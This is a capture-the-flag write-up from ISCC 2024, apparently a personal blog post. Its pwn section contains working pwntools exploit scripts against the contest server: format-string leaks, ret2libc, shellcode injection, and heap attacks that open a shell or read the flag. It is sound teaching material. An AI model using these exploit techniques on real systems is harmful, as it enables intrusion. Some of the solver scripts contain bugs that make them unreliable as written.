编辑
2024-05-29
Linux
00
请注意,本文编写于 238 天前,最后修改于 238 天前,其中某些信息可能已经过时。

目录

wp

chaos

ida查看发现后门:

image-20240501222103619

通过对比Flag字符串来执行后门。

仔细观察ptr固定大小为0x70,v2的大小可以任意跳转,可以先申请一个0x20大小的堆然后释放进bin中,这样在chaos函数的时候,v2的堆块在ptr上面,这个时候溢出到下面即可。

ISCC_easy

image-20240524213522981

可以看到是32位,保护只开了NX,栈不可写。

IDA看一下:

image-20240524213643651

read和printf,很明显的一道格式化字符串漏洞,

还有足够的一处:

image-20240524213742771

那我们只需要通过格式化字符串来更改x的值为5,我们就可以溢出,ret2libc来getshell

python
from pwn import * from LibcSearcher import* context.arch='i386' # p = process('./ISCC_easy') p=remote('182.92.237.102',10013) libc=ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so') x=0x804C030 payload=fmtstr_payload(4,{x:5})+b'%15$p' p.send(payload) p.recvuntil(b'0x') libc_add=int(p.recv(8),16) libcbase=libc_add-libc.sym['__libc_start_main']-245 success('libcbase '+hex(libcbase)) # gdb.attach(p) system=libcbase+libc.symbols['system'] binsh=libcbase+next(libc.search(b'/bin/sh')) payload=b'a'*(0x90+0x4)+p32(system)*2+p32(binsh) p.recvuntil(b'Input') p.sendline(payload) p.interactive()

image-20240524214024484

easyshell

file:image-20240524214628209

保护全开。

ida一看右后门,基本秒:

image-20240524214616310

image-20240524214658399

核心代码:

image-20240524214824817

溢出一个,格式化字符串漏洞一个,我们可以同过这一个fmt来泄露canary以及libc基址:

python
from pwn import * context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] remote_server = remote('182.92.237.102', 10011) elf_file = ELF('./attachment-13') payload = b'flagis\x00' + b'%17$p%15$p' remote_server.recvuntil(b'>>') remote_server.sendline(payload) remote_server.recvuntil(b'0x') address = int(remote_server.recv(12), 16) elf_base = address - 0x1520 print(hex(elf_base)) remote_server.recvuntil(b'0x') canary = int(remote_server.recv(8*2), 16) print(hex(canary)) backdoor_address = elf_base + 0x1291 payload = b'exit'.ljust(56, b'\x00') + p64(canary) + p64(0) + p64(backdoor_address) remote_server.recvuntil(b'>>') remote_server.sendline(payload) remote_server.interactive()

image-20240524215447935

miao

image-20240524220026029

又是格式话字符串:绷

image-20240524215815832

甚至还有溢出:

image-20240524215911045

python
from pwn import * context.log_level="debug" context.arch="i386" context.terminal = ['tmux', 'splitw', '-h'] # p=process("./attachment-41") #sh=remote("",) p = remote('182.92.237.102',10015) elf=ELF("./attachment-41") read=elf.sym["read"] mprotect=elf.sym["mprotect"] pop=0x0804f1f4 bss=0x080EB000 p.recvuntil(b"Would you like to say something to it?\n") payload=b"%31$p" p.sendline(payload) p.recvuntil(b"0x") canary=int(p.recv(8).decode(),16) print("canary=",hex(canary)) p.recvuntil(b" ( ^.^ ) \n\n") payload=0x64*b'a'+p32(canary)+0xc*b'a'+p32(mprotect)+p32(pop)+p32(bss)+p32(0x1000)+p32(7)+p32(read)+p32(pop)+p32(0)+p32(bss)+p32(0x1000)+p32(bss) p.sendline(payload) shellcode=asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()

主要思路就是用mproctect改bss中的一页有执行权限,然后shellcode写道bss段上执行。

image-20240524220526511

flag

file:image-20240524221056092

可以看到又是一个格式话字符串:

image-20240524221000313

我们要先爆破出第一个字符,才能用到这一个格式化字符串,

然后back函数里面溢出,先利用fmt函数泄露出canary,然后利用溢出打正常的ret2libc

python
from pwn import * from LibcSearcher import* context.log_level="debug" context.arch="i386" context.terminal = ['tmux', 'splitw', '-h'] p=remote('182.92.237.102',10012) elf = ELF('./attachment-12') payload=b'a%19$p' p.sendline(payload) p.recvuntil(b'0x') canary=int(p.recv(8),16) success('canary '+hex(canary)) read_got=elf.got['read'] puts_plt=elf.plt['puts'] back=0x80494E0 payload=b'a'*(136)+p32(canary)+p32(0xdead)+b'a'*(8)+\ p32(puts_plt)+p32(back)+p32(read_got) p.recvuntil(b'Input') p.sendline(payload) leak_add=u32(p.recvuntil(b'\xf7')[-4:]) libc=LibcSearcher(read,read_add) libcbase=leak_add-libc.dump(read) system=libcbase+libc.dump('system') binsh=libcbase+libc.dump('str_bin_sh') payload=b'a'*(136)+p32(canary)+p32(0xdead)+b'a'*(8)+\ p32(system)+p32(back)+p32(binsh) p.recvuntil(b'Input') p.sendline(payload) p.interactive()

image-20240524221809732

libcsearcher里面选第9个,试了半天。

image-20240524221844889

ISCC_U

image-20240524222547907

拖进ida看看:

image-20240524222618707

一眼顶针,uaf模板题:

your_program

image-20240525091342787

ida: 先一个认证要求第二十八位是“A”:

image-20240525091412292

然后申请堆块:

image-20240525091505396

一个fastchunk,o指向这个堆块。然后后面3/4个字长有两个函数指针,greetings和bye。

我们主要就是利用UAF和一个格式化字符串来打:

python
from time import* from pwn import* context.log_level = 'debug' p = remote('182.92.237.102',10032) # p = process('./attachment-42') elf = ELF('./attachment-42') printf_got = elf.got['printf'] printf_plt = elf.plt['printf'] puts_plt = elf.plt['puts'] pop_rdi = 0x401763 ret = 0x40101a main = elf.sym['main'] vuln_addr = 0x40127A addr = 0x403668 payload = b'A'*(32) + p64(0) + p64(pop_rdi) + p64(printf_got) + p64(puts_plt) + p64(main) p.sendlineafter(b'Enter key:',payload) printf_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print(hex(printf_addr)) libc_base = printf_addr - 0x61c90 print(hex(libc_base)) system_addr = libc_base + 0x52290 bin_sh = libc_base + 0x1b45bd offset = 6 payload = b'A'*(28) p.sendlineafter(b'key',payload) p.sendlineafter("tell me your name:","hacker") payload = b'%7$s'.ljust(8, b'\xff') + p64(addr) p.sendlineafter(b'>',b'2') p.sendline(payload) p.recvuntil(b'hello hack\n') heap_base = u64(p.recvuntil(b'\xff')[:-1].ljust(8, b'\x00')) print(hex(heap_base)) def clear(choice=b'n'): p.sendlineafter(b'>',b'4') p.sendlineafter(b'Are you sure you want to exit? (y/n)',choice) # p.sendlineafter(b'>',b'4') # p.sendlineafter(b'(y/n)',b'n') # p.sendlineafter(b'>',b'4') # p.sendlineafter(b'(y/n)',b'n') clear(b'\x24') clear() p.sendlineafter(b'>',b'3') p.sendline(p64(0)*3 + p64(system_addr)) payload = f'%{0x3024}c%9$hn'.encode().ljust(0x18,b'\xff') + p64(heap_base) p.sendlineafter(b'>',b'2') p.sendline(payload) p.interactive()

image-20240525091835513

easy_heap

image-20240525092429929

ida看看:

发现一个沙箱:image-20240525092517714

第一直觉用ORW:

seccomp看一下:

image-20240525092636007

ban掉了execve: 但是我们在add:

image-20240525092718202

以及:edit发现了off_by_null

主要思路就是利用large chunk,泄露出来libc和heap的地址,再利用off_by_null进行unlink,堆重叠,然后往env位置上申请chunk,泄露出来stack地址,然后劫持add()的返回地址,实现控制执行流。

python
from pwn import * from LibcSearcher import* context.log_level="debug" context.arch="i386" context.terminal = ['tmux', 'splitw', '-h'] libc = ELF("./libc.so.6") elf =ELF('./CaT_DE') # p = process('./CaT_DE') p = remote('182.92.237.102',2122) def add(size,content): p.sendlineafter("input your car choice >> ",b'1') p.sendlineafter("size:",str(size)) p.sendafter("content:",content) def edit(index,content): p.sendlineafter("input your car choice >> ",b'4') p.sendlineafter("index:",str(index)) p.sendafter("content:",content) def show(index): p.sendlineafter("input your car choice >> ",b'3') p.sendlineafter("index:",str(index)) def delete(index): p.sendlineafter("input your car choice >> ",b'2') p.sendlineafter("index:",str(index)) add(0x440,"aaa") add(0x88,"aaa") add(0x440,"aaaa") add(0x88,"aaa") delete(0) delete(2) add(0x450,"aaaa") add(0x440,"aaaaaaaa") add(0x440,"bbbbbbbb") show(4) p.recvuntil(b'\0') libc.address = u64(p.recv(6).ljust(8,b"\x00")) -0x21a000 - 0xe0 envrion = libc.sym['environ'] stdout = libc.sym['_IO_2_1_stdout_'] print(hex(libc.address)) p.recv(2) heap_addr = u64(p.recv(8)) - 0x290 print(hex(heap_addr)) for i in range(7): add(0xf8,"aaa") add(0x108,"aaa") add(0xf0,"aaaa") add(0x88,"aaa") for i in range(7): delete(i+5) target = heap_addr + 0x17c0 ptr = heap_addr + 0xc60 edit(0,p64(target)) payload = p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr - 0x10) payload = payload.ljust(0x100,b"\x00") + p64(0x100) edit(12,payload) delete(13) add(0xe8,"aaaa") add(0xe8,"aaaa") delete(5) delete(6) show(12) p.recvuntil("\xf1") p.recv(7) ekey = u64(p.recv(8)) print("ekey ===> " + hex(ekey)) key = u64(p.recv(8)) print("key ===> " + hex(key)) payload = p64(0)+p64(0xf1)+p64(ekey)+p64(key) payload = payload.ljust(0xf0,b"\x00") + p64(0) + p64(0xf1) + p64((heap_addr+0x10)^ekey) edit(12,payload) add(0xe8,"aaaa") add(0xe8,p64(0)*3+p64(0x700010001)+p64(0)*24+p64(envrion-16)) print(hex(stdout)) add(0xd0,"a"*8) show(7) stack = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 0x140 - 8 print(hex(stack)) edit(6,p64(0)*3+p64(0x700010001)+p64(0)*24+p64(stack)) pop_rdi = 0x2a3e5 + libc.address pop_rsi = 0x2be51 + libc.address pop_rdx_r12 = 0x11f497 + libc.address read_addr = libc.sym['read'] open_addr = libc.sym['open'] write_addr = libc.sym['write'] orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(0) + p64(open_addr)+\ p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) + p64(pop_rdx_r12) +\ p64(0x30) + p64(0) + p64(read_addr)+\ p64(pop_rdi) + p64(1) + p64(write_addr) add(0xd0,b"./flag".ljust(8,b"\x00")+orw) p.interactive()

heapheap

file:

image-20240525094753397

ida:

开了沙箱:

image-20240525094852599

和上一题相似的禁用了execve

和明显这题还是有UAF:

image-20240525095022154

可以看到add只能申请大的chunk,也就是large chunk

image-20240525095110452

那我们呢这题的大致思路也就有了:

使用largbin attack来打stderr,然后house_of_apple后用exit来执行完成orw

python
from pwn import * from LibcSearcher import* context.log_level="debug" context.arch="i386" context.terminal = ['tmux', 'splitw', '-h'] p=remote('182.92.237.102',11000) # p = process('./heapheap') libc=ELF('./libc-2.31.so') def create(index,Size): p.recvuntil(b'choice') p.sendline(b'1') p.recvuntil(b'index') p.sendline(bytes(str(index),'utf-8')) p.recvuntil(b'Size') p.sendline(bytes(str(Size),'utf-8')) def free(index): p.recvuntil(b'choice') p.sendline(b'4') p.recvuntil(b'index') p.sendline(bytes(str(index),'utf-8')) def edit(index,Content): p.recvuntil(b'choice') p.sendline(b'3') p.recvuntil(b'index') p.sendline(bytes(str(index),'utf-8')) p.recvuntil(b'context') p.send(Content) def show(index): p.recvuntil(b'choice') p.sendline(b'2') p.recvuntil(b'index') p.sendline(bytes(str(index),'utf-8')) create(0,0x420) create(1,0x410) create(2,0x410) create(3,0x410) free(0) show(0) libc_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libc_base=libc_addr-libc.sym['__malloc_hook']-96-0x10 io_al=libc_base+0x1ed5a0 print(hex(libc_base)) print(hex(io_al)) create(4,0x430) edit(0,b'a'*(0x10-1)+b'A') show(0) p.recvuntil(b'A') heap_add=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00')) print(hex(heap_add)) fd=libc_base+0x1ecfd0 payload=p64(fd)*2+p64(heap_add)+p64(io_al-0x20) edit(0,payload) free(2) create(5,0x470) free(5) open_add=libc_base+libc.sym['open'] read_add=libc_base+libc.sym['read'] write_add=libc_base+libc.sym['write'] setcontext_add=libc_base+libc.sym['setcontext'] rdi=libc_base+0x23b6a rsi=libc_base+0x2601f rdx_r12=libc_base+0x0119431 ret=libc_base+0x22679 chunk_small=heap_add+0x850 IO_wfile_jumps=libc_base+0x1e8f60 fakeio_addr=chunk_small orw_add=fakeio_addr+0x200 A=fakeio_addr+0x40 B=fakeio_addr+0xe8+0x40-0x68 C=fakeio_addr fakeio=b'' fakeio=fakeio.ljust(0x18,b'\x00') + p64(1) fakeio=fakeio.ljust(0x78,b'\x00') + p64(fakeio_addr) fakeio=fakeio.ljust(0x90,b'\x00') + p64(A) fakeio=fakeio.ljust(0xc8,b'\x00') + p64(IO_wfile_jumps) + p64(orw_add)+p64(ret)+b'\x00'*0x30 + \ p64(B)+p64(setcontext_add+61) flag_add=orw_add+0x100+0x10 orw = p64(rdi)+ p64(flag_add) + p64(rsi) + p64(0) + p64(open_add)+\ p64(rdi)+ p64(3)+p64(rsi)+p64(flag_add)+p64(rdx_r12)+p64(0x50)+p64(0)+p64(read_add)+\ p64(rdi)+p64(1)+p64(write_add) payload=fakeio payload=payload.ljust(0x200-0x10,b'\x00') + orw payload=payload.ljust(0x300,b'\x00') payload+=b'flag\x00' edit(2,payload) p.recvuntil(b'choice') p.sendline(b'5') p.interactive()

shopping

image-20240525100501634

这里有溢出:

image-20240525100606687

并且image-20240525100723736

我们点进去可以发现:

image-20240525100741414

再bss段上

这样我们就有大致思路:通过溢出篡改这个bss段上的函数的指针指向system函数来getshell

image-20240525101859250

python
from pwn import * context.log_level="debug" context.arch="i386" context.terminal = ['tmux', 'splitw', '-h'] p=remote('182.92.237.102',10019) # p = process('./attachment-11') elf=ELF('./attachment-11') # libc=ELF('./libc.so.6') def create(Size,Content=b'a',count=0,mod=1): p.recvuntil(b'Action') p.sendline(b'1') p.recvuntil(b'ID') p.sendline(bytes(str(Size),'utf-8')) p.recvuntil(b'Quantity') p.sendline(bytes(str(count),'utf-8')) p.recvuntil(b'Add') p.sendline(bytes(str(mod),'utf-8')) if(Content==b'no'): return p.recvuntil(b'Message') contxt=Content.ljust(Size,b'\x00') p.send(contxt) p.sendline(b"I'm ready for shopping") p.recvuntil(b'***',timeout=5) for i in range(12): create(0x4000,b'no',1000,0) create(0x4000,b'a',261) create(0x3000) create(0x1000-0x8,b'no') p.send(b'a'*(0x1000-0x8-0x10)) bypass=0x602038 system=0x0400978 bss=0x602040 payload=b'\x00'*(0x40+8)+p64(0)+p64(bypass-0x1b)*6+p64(bss) p.send(payload) create(0x60,b'\x00'*(0x1b-0x10)+p64(system)+p64(0)+p64(0x8f)) create(0x70,b'/bin/sh\x00') p.interactive()

misc

rsa_ku

一道很简单的rsa

先解的p,q

image-20240524153208335

然后计算

python
import gmpy2 from Crypto.Util.number import long_to_bytes q = 11104861498641160020551133747582851050482827883841239117180799157472078278661946047575808556331157873693827396366774529894387508349540416345196575506278923 p = 11679509046055093484387585536769973960915016129595089156764897709796981174994469835617477280580153684696296947700908005372625963068761884667061288424062299 n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977 e = 65537 c = 128078960193140808683559118633217600879940998817909568182141311537800867512690722368075522141556996276359237558158477733024825996070234180820860244607694198815376269550287105459194572190573383166386710828931679858562777866446477175529580658436251900048546779677845065373412279418363747278489630829416405841200 n = q*p # print(n) d = gmpy2.invert(e, (p - 1) * (q - 1)) print("d=",d) m = pow(c, d, n) print(m) print(long_to_bytes(m))

image-20240524153229195

时间刺客

解压压缩包发现有一个压缩包和一个流量文件,压缩包需要密码,我们就先从流量包入手;

通过分析流量的是一个鼠标流量,我们直接通过工具解出:Mumuzi7179/UsbKeyboard_Mouse_Hacker_Gui: 自带GUI的一键解鼠标流量/键盘流量小工具 (github.com)

这个工具。

压缩密码为:pr3550nwardsa2fee6e0

解压之后还是rar压缩文件:

发现都是里面的文件都是时间的差的ascii,直接脚本转:

python
import rarfile # path = '/home/hyrink/iscc2024/attachment-27/11/21' rarf = rarfile.RarFile('./11.rar') flag = '' dict = {} all_files = rarf.namelist() for i in range(18): name = f'11/.{i}.txt' # 检查文件是否在列表中 if name in all_files: datetime = rarf.getinfo(name).date_time out = datetime[-2] * 60 + datetime[-1] dict[i] = chr(out) else: print(f'File {name} not found in rar file') print(dict) for i in range(18): flag += dict[i] print('ISCC{'+flag+'}')

image-20240524162010738

工业互联网仿真数据分析

根据题目我们可以分析: 第一问:

\1. 题目一:在某些网络会话中,数据包可能保持固定大小,请给出含有此确定性特征的会话IP地址和数据包字节大小值。

答案:IP地址:192.168.1.2,192.168.1.4,…,数值:24

image-20240524164318485

第二问:

\1. 题目二:通信包数据某些字段可能为确定的,请给出确定字节数值。

答案:2024

image-20240524164356356

查看任意data段开头都为2024.

第三问:

\1. 题目三:一些网络通信业务在时间序列上有确定性规律,请提供涉及的IP地址及时间规律数值(小数点后两位

答案:IP地址:192.168.1.3,192.168.1.5…,数值:0.06

image-20240524165053635

image-20240524165114647

image-20240524165126753

可以看出来3-5这个是有规律的

第四问:

分析一下可得:

192.168.1.2,192.168.1.3,192.168.1.6

第五问:

一眼CRC16,UDp协议,最近刚学的。

CRC16,4,1

python
import hashlib def generate_flag(*answers): # 将所有答案使用英文逗号连接 combined_answers = ','.join(answers) # 生成flag格式 initial_flag = f"ISCC{{{combined_answers}}}" # 对flag进行MD5加密 md5_hash = hashlib.md5(initial_flag.encode()).hexdigest() return md5_hash # 示例用法 if __name__ == "__main__": # 每道题目的所有填空写在一个字符串中 answers = [ "192.168.1.2,192.168.1.4,24", # 第一小题答案:IP顺序从小到大排列,涉及的IP个数由选手自己判断,数值为整数 "2024", # 第二小题答案:数值为整数 "192.168.1.3,192.168.1.5,0.06", # 第三小题答案:IP顺序从小到大排列,涉及的IP个数由选手自己判断,数值保留小数点后2位 "192.168.1.2,192.168.1.3,192.168.1.6", # 第四小题答案:IP顺序从小到大排列,涉及的IP个数由选手自己判断 "CRC16,4,1" # 第五小题答案:数据校验算法名称长度为5个字符,其中英文字母大写 ] # 生成MD5加密后的flag final_flag = generate_flag(*answers) # 输出最终的MD5加密字符串 print(final_flag)

image-20240524165427863

the number is key

是一个excel表格文件,我们直接全选将可莪能有内容的地方设为加粗,然后并全部替换为黑色填充,这样二维码就出来了。然后我们调整一下列宽。

image-20240524171300763

最后手机扫就出来了:

image-20240524171337686

钢铁侠再解密:

直接将bmp图片拖进slientsys中,decode出c1,c2

image-20240524172044342

根据小纸条中的n和e我们可以编写一下脚本

from sage.all import * # 定义半高斯消元法 def half_gcd(a, b): if 2 * b.degree() <= a.degree() or a.degree() == 1: return 1, 0, 0, 1 degree_half = a.degree() // 2 a_top, a_bottom = a.quo_rem(x ^ degree_half) b_top, b_bottom = b.quo_rem(x ^ degree_half) R00, R01, R10, R11 = half_gcd(a_top, b_top) c = R00 * a + R01 * b d = R10 * a + R11 * b quotient, remainder = c.quo_rem(d) d_top, d_bottom = d.quo_rem(x ^ (degree_half // 2)) e_top, e_bottom = remainder.quo_rem(x ^ (degree_half // 2)) S00, S01, S10, S11 = half_gcd(d_top, e_top) RET00 = S01 * R00 + (S00 - quotient * S01) * R10 RET01 = S01 * R01 + (S00 - quotient * S01) * R11 RET10 = S11 * R00 + (S10 - quotient * S11) * R10 RET11 = S11 * R01 + (S10 - quotient * S11) * R11 return RET00, RET01, RET10, RET11 # 定义最大公约数函数 def gcd(a, b): quotient, remainder = a.quo_rem(b) if remainder == 0: return b R00, R01, R10, R11 = half_gcd(a, b) c = R00 * a + R01 * b d = R10 * a + R11 * b if d == 0: return c.monic() quotient, remainder = c.quo_rem(d) if remainder == 0: return d return gcd(d, remainder) # 定义 RSA 参数 cipher1 = 5084430851838113523393115032513311535500755645287961034273150450878719871429607651618592511509161610169260841359889003011023911501082864274846731876416091402627764681252480941441218487366803368877518643680835877768022850168783447996465771780469400493839313478185978614380496265271538003507591102880616119129406965461842197352808694932130681483227336095592328953237824570060658659682081450724644970663066004664775784877408932000778479470442950447670266279209279546086287992216518290909533579501613224690639103323411452964702988083628301170777297836876088000444929063368131747927440844474585029410903979232570437256592 cipher2 = 6770845010811094653997938081504379354000806924241122408118549248788068707429602310127679697190286099719328578264458232994472427661290094103926984262048813230502045644442412484627340558839195841039651459562575296017233998317676367207804525532207220597714463509052510014187748450894562434496695557807630723460473650546242247980923983229597986553010845592774443969688520015212274496627370803146405147996708197001940533213730446803525150822873021603712774600682997757342487918325713263050552729853274774667419446962562861289407591532865577818065738592645721250707475596006576757897208031092114068141633582367947889234807 modulus = 14333611673783142269533986072221892120042043537656734360856590164188122242725003914350459078347531255332508629469837960098772139271345723909824739672964835254762978904635416440402619070985645389389404927628520300563003721921925991789638218429597072053352316704656855913499811263742752562137683270151792361591681078161140269916896950693743947015425843446590958629225545563635366985228666863861856912727775048741305004192164068930881720463095045582233773945480224557678337152700769274051268380831948998464841302024749660091030851843867128275500525355379659601067910067304244120384025022313676471378733553918638120029697 exponent = 52595 # 定义消息填充 padding1 = 1769169763 padding2 = 1735356260 # 定义多项式环 polynomial_ring = PolynomialRing(Zmod(modulus), 'x') x = polynomial_ring.gen() # 定义多项式 g1 和 g2 g1 = (x * 2^32 + padding1)^exponent - cipher1 g2 = (x * 2^32 + padding2)^exponent - cipher2 # 定义 X X = 584734024210292804199275855856518183354184330877 # 打印 g1(X) 和 g2(X) print(g1(X), g2(X)) # 计算 g1 和 g2 的最大公约数 result = gcd(g1, g2) # 获取消息 message = -result.monic().coefficients()[0] # 打印消息 print(message) # 打印解码后的消息 print(bytes.fromhex(hex(message)[2:]).decode().replace("flag{", 'ISCC{'))

image-20240524174506688

成语学习

可以从tcp流中拿到这么一个png图片:

image-20240524174743625

里面有这个张图片,改一下高度拿到解压密码:

57pmYyWtimage-20240524180641919

然后我们尝试打开文件,发现打不开,拖进010看看:

image-20240524181414675

"PK" 是ZIP文件的魔术数字,表示文件是ZIP格式。

我们重命名后解压:

在一种文件下找到flag文件,解密即可:

image-20240524181501533

image-20240524181450817

有人让我给你带个话

解压文件之后有两个文件:

我们直接将Png文件拖入010

image-20240524202830387

可以看倒是有隐藏文件的:

我们用binwalk分离出来:

image-20240524202910534

image-20240524202918765

通过检索得知,lyra是一种语音隐写

funzip

puzzlesolver解决:

image-20240525162811784

精装四合一

都放到010editor里面

发现每一个图片数据IDEN后面都还有冗余的数据,那我们拿出来看看:

image-20240525152627721

对他进行异或试试,因为有很多ff,用ff异或:

都异或完成之后发现一个zip的头,但是要删除前四字节:

然后用脚本整成一个zip文件:

python
f1 = open('left_foot_invert.png','rb') f2 = open('left_hand_invert.png','rb') f3 = open('right_foot_invert.png', 'rb') f4 = open('right_hand_invert.png', 'rb') f5 = open('2.zip', 'wb') for i in range(3176): f5.write(f1.read(1)) f5.write(f2.read(1)) f5.write(f3.read(1)) f5.write(f4.read(1)) f5.write(f1.read(1)) f1.close() f2.close() f3.close() f4.close() f5.close()

image-20240525154149261

解压密码直接弱口令,为65537

image-20240525154310306

没找到flag

但是我将文件按再次改为zip后解压,找到了原本因该出现的东西:

image-20240525160112953

image-20240525160151748

搓脚本:

python
from Crypto.Util.number import * import gmpy2 p = 100882503720822822072470797230485840381 q = 167722355418488286110758738271573756671 e = 65537 n = 16920251144570812336430166924811515273080382783829495988294341496740639931651 pi=(p-1)*(q-1) d=gmpy2.invert(e,phi) c=bytes_to_long(open('true_flag.jpeg','rb').read()) m=pow(c,d,n) print(long_to_bytes(m))

image-20240525160629850

web

还没想好名字的塔防游戏

将题目与提示的首字母拼接:

image-20240524133338506

image-20240524133508547

代码审计

[【BUUCTF】De1CTF 2019]SSRF Me_flask_aoao今晚吃什么-CSDN学习社区原题方法直接用: image-20240525111616393

回来吧永远的神

进入页面查看源码:获得提示image-20240525114419083

根据源码进去影藏关:

image-20240525114553141

发现一段hash:image-20240525114636802

但是实际上是base64,接出来:

image-20240525115228056

原神

image-20240525161723490

直接找现成的CVE poc

直接梭哈:

image-20240525163321745

ISCC{OxxcjzK0ROr7s_uI}

re

迷失之门

python
upper_alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lower_alpha = "abcdefghijklmnopqrstuvwxyz" special_chars = "0123456789+/-=!#&()?;:^%" cipher_text = "DABBZXQESVFRWNGTHYJUMKIOLPC" key_values = [] encoded_values = [70,83,66,66,104,75,89,112,86,77,118,81,70,79,74,70,106,78,122,73,70,117,68,98,108,102,54] for value in encoded_values: char = chr(value) if char in upper_alpha: index = upper_alpha.index(char) elif char in lower_alpha: index = lower_alpha.index(char) + 26 elif char in special_chars: index = special_chars.index(char) + 52 print(index, end="") key_values.append(index) print() for i, key in enumerate(key_values): print(chr(ord(cipher_text[i]) + key), end="")

image-20240524133710748

两次check,先逆向出算法,然后再check2中将密文解密即可:

image-20240524133823897

image-20240524133832450

CrypticConundrum

image-20240524140802954

先upx脱壳。

分析逆向encryption就可以

image-20240524140903517

cpp
#include <iostream> #include <cstring> int main() { int64_t v8[4] = {0x55F4D27ADD3720FE, 0xF23D687F53A6AF36, 0xBD610E0FBE604ACD}; int64_t v9 = 885833057; unsigned char a1[27]; const char* Str = "So--this-is-the-right-flag"; const char* v7 = "ISCC"; int a3 = strlen(Str); // Fill a1 with values from v8 and v9 for (int i = 0; i < 24; i++) { a1[i] = *((unsigned char*)v8 + i); } a1[24] = *((unsigned char*)&v9 + 2); a1[25] = *((unsigned char*)&v9 + 3); // Perform operations on a1 for (int i = 0; i < 26; i++) { a1[i] -= 10; a1[i] &= 0xff; } for (int m = 0; m < a3 - 1; ++m) { a1[m] += a1[m + 1]; a1[m] &= 0xff; } for (int k = 0; k < a3 - 1; ++k) { a1[k] ^= v7[2]; a1[k] &= 0xff; } for (int j = 0; j < a3; j += 2) { a1[j] ^= v7[j % 4]; a1[j] &= 0xff; } for (int i = 0; i < a3; ++i) { a1[i] += v7[i % 4]; a1[i] &= 0xff; } // Print a1 for (int i = 0; i < 26; i++) { printf("%c", a1[i]); } printf("\n"); return 0; }

image-20240524141018323

which_is_Flag

直接脚本索:

python
print("ISCC{" + base64.b64decode(bytes.fromhex("".join([chr(get_wide_byte(0x14000BF40+i) ^ 0xc) for i in range(48)])).decode('utf-8')).decode() + "}")

image-20240525135849009

Badcode

看main函数:

image-20240525140411499

程序对输入的字符串进行了三次加密,最后与flag密文进行对比

第一就 遍历 v17 数组然后根据字节索引的奇偶性,将字节的值加 2 或减 3。

第二次遍历 v17 数组将 v16 数组对应位置的字节减去 48,与当前字节异或将异或结果存储回 v17 数组。

第三次看一下

image-20240525140230911

通过比对可以发现是标准的 XXTEA 加密,密钥是&unk_407018

取出来密文和密钥进行解密即可

cpp
using namespace std; #include <stdio.h> #include <stdint.h> #define DELTA 0x9e3779b9 #define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z))) #include <iostream> void btea(int *v, int n, uint32_t const key[4]) { uint32_t y, z, sum; unsigned p, rounds, e; if (n > 1) { rounds = 6 + 52 / n; sum = 0; z = v[n - 1]; do { sum -= DELTA; e = (sum >> 2) & 3; for (p = 0; p < n - 1; p++) { y = v[p + 1]; z = v[p] += MX; } y = v[0]; z = v[n - 1] += MX; } while (--rounds); } else if (n < -1) { n = -n; rounds = 6 + 52 / n; sum = rounds * DELTA; y = v[0]; do { e = (sum >> 2) & 3; for (p = n - 1; p > 0; p--) { z = v[p - 1]; y = v[p] -= MX; } z = v[n - 1]; y = v[0] -= MX; sum -= DELTA; } while (--rounds); } } int main() { uint32_t key[4] = {0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x76543210}; int v[] = { 103987394,-684161121,18462647,-541643135,-1059316750,1232746420}; btea(v, -6, key); string a = (char *)v; int v16[24]; srand(0x18u); for (int i = 0; i < 24; ++i ) { v16[i] = rand() % 10 + 48; } for (int k = 0; k < 24; ++k ) { a[k] ^= (v16[k] - 48); } for (int j = 0; j < 24; ++j ) { if ( j % 2 ) { a[j] -= 2; } else { a[j] += 3; } } for (int i = 0; i < 24; i++) { cout << (char)a[i]; } }

find_all

python
v4=[get_wide_byte(0x00401625+i*7) for i in range(24)] for i in range(0,len(v4) - 1,4): v4[i + 2] ^= v4[i+3] v4[i + 1] ^= v4[i + 2] v4[i] ^= v4[i + 1] print(bytes(v4).decode())

直接逆,脚本索。

image-20240525144043294

I_am_the_Mathematician

就是一个逐字符减少前面数值的算法,直接逆:

然后idapython执行

python
def cal(n): a,b = 0,1 lt = [] for i in range(n): a,b =b,a+b lis.append(a) return lt with open(r"code_book_46.txt","r") as file: data = file.read() file.close() target = cal(20) assert target[-1] > len(data) print(f"ISCC{{{''.join([data[i - 1] if i < len(data) else '' for i in target])}}}")

image-20240525144542385

DLLdoce

ida看:

image-20240525145017354

发现encode

image-20240525145002912

c
#include <iostream> #include <vector> int main() { std::vector<int> Block = {73, 83, 67, 67}; std::vector<int> v4 = {2, 0, 3, 1, 6, 4, 7, 5, 10, 8, 11, 9}; std::vector<int> enc = { 0,16,56,54, 37, 61, 50,43, 27, 0,20,3, 67, 107, 83, 112,70,74,63,103,116,125,117,98}; std::vector<int> enc_back(12), enc_front(12); std::vector<int> f(24); int i; for (i = 0; i < 12; i++) { enc[i] = enc[i]; front[i] = enc[i + 12]; } for (i = 0; i < 12; i++) { f[2 * i + 1] = front[v4[i]]; } for (i = 0; i < 12; i++) { enc[i] ^= Block[i & 3]; } for (i = 0; i < 12; i++) { f[2 * i] = back[i]; } for (i = 0; i < 24; i++) { std::cout << static_cast<char>(f[i]); } return 0; }

image-20240525152428115

winterbegin

alt+a将密文换位中文

image-20240525190955609

冻笔新诗懒写寒炉美酒时温醉看墨花月白恍疑雪满前村

花墨村前花墨炉寒花墨花墨看醉白月看醉温时村前看醉看醉看醉花墨村前看醉炉寒炉寒笔冻花墨酒美看醉酒美村前看醉花墨看醉

疑恍村前看醉温时看醉温时花墨写懒炉寒诗新看醉白月花墨疑恍村前温时温时村前花墨写懒炉寒炉寒酒美炉寒温时疑恍酒美

如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

